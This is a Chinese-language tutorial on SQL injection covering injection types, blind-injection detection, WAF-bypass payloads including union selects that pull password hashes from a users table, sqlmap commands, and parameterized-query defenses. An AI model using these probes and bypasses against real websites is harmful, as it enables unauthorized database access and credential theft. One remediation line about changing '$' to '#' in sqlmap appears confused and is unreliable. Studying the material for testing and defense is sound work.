Sql注入的本质:把用户输入的数据当做代码执行。
关键条件:一是用户能够控制输入;二是原本程序要执行的代码,拼接了用户输入的数据。
Sql注入分类:基于从服务器收到的响应分类
1、基于错误的SQL注入
2、联合查询类型
3、堆查询注入
4、Sql盲注
问题1:攻击者输入参数中带有单引号(’),引起执行查询语句的语法错误,则服务器直接返回错误信息。
问题2:Sql盲注
Sql盲注:服务器没有错误回显时完成的注入攻击。服务器的错误回显,对于攻击者来说是非常重要的调试,服务器关闭回显,攻击者必须找到一个方法来验证注入的Sql语句是否被执行了。
SQL盲注类型:
1、基于布尔SQL盲注
2、基于时间的SQL盲注
3、基于报错的SQL盲注
常见的SQL盲注验证方法就是构造简单的条件语句,根据返回的页面是否发生变化,来判断SQL语句是否被执行。
SQL注入检测语句
1、基于报错的检测方法:
使用各种符号以及组合: ' '' ( %
如直接在URL后添加单引号看是否报错index.php?id=1'
2、基于布尔的检测:
最常用的如1' and '1'='1和1' and '1'='2 相当于 1' and '1和1' and '0
当返回的结果不同时即有漏洞
3、直接在URL地址后面加-1、-0、'%2B'和'%2B'a:
添加-1:index.php?id=123-1,当前后访问的页面不同时,即可确定存在数字型SQL注入漏洞;
添加-0:index.php?id=123-0,当前后访问的页面相同时,再加上-1,返回错误页面,则表示存在数字型SQL注入漏洞;
添加'%2B'和'%2B'a:这里%2B为‘+’的URL编码,当先添加'%2B'时index.php?id=123'%2B'返回同样的页面,而添加'%2B'a时返回错误,这种适用于SQL语句中id值被一对单引号括起来的情况。
判断盲注的常用方法:
1’ and 1=1 #
1’ and 1=2 #
判断这两种不同的输入是否有不一样的显示,如果一个正常一个通用的错误提示或者啥也不显示,则几乎可以确定是含有SQL注入漏洞的。
Sql注入绕过WAF
1. 大小写绕过
2. 简单编码绕过
3. 注释绕过 如?id=1 uni/**/on sele/**/ct 1,2,3 #
4. 分割重写绕过:?id=1 un//ion sel//ect 1,2,3 #;
5. 比较操作符替换:比较操作符如!=、<>、<、>都可以用来替换=来绕过
6. 同功能函数替换
substring((select ‘password’),1,1) = 0x70
substr((select ‘password’),1,1) = 0x70
mid((select ‘password’),1,1) = 0x70
7. 加括号
如?id=(1)union(select(1),mid(hash,1,32)from(users))
?id=(1)union(((((((select(1),hex(hash)from(users))))))))
?id=(1)or(0x50=0x50)
8. 缓冲区溢出绕过:
id=1 and (select 1)=(Select
0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10 #
其中 A 越多越好,一般要求 1000 个以上
SQLMaP使用
SQLMaP依赖Python环境,在使用sqlmap工具时,需要先安装Python
安装python后将SQLMaP解压到pyhon安装目录下
使用cmd运行
D:\Python27\python.exe D:\Python27\sqlmap\sqlmap.py
出现版本就说明安装成功了
【检测步骤】抓包,将请求报文拷贝到txt文件中,使用命令 –r 去运行脚本txt
D:\Python27\python.exe D:\Python27\sqlmap\sqlmap.py -r "D:\sql注入脚本\1.txt" --dbs
【修复方法】
防御和检查SQL注入的手段
1.使用参数化的过滤性语句
过滤敏感字符 或者参数化查询
将输入的参数,强制转换为字符串
把sqlmap中的$符号改成#号
要防御SQL注入,用户的输入就绝对不能直接被嵌入到SQL语句中。恰恰相反,用户的输入必须进行过滤,或者使用参数化的语句。参数化的语句使用参数而不是将用户输入嵌入到语句中。在多数情况中,SQL语句就得以修正。然后,用户输入就被限于一个参数。
总体上讲,有两种方法可以保证应用程序不易受到SQL注入的攻击,一是使用代码复查,二是强迫使用参数化语句的。强迫使用参数化的语句意味着嵌入用户输入的SQL语句在运行时将被拒绝。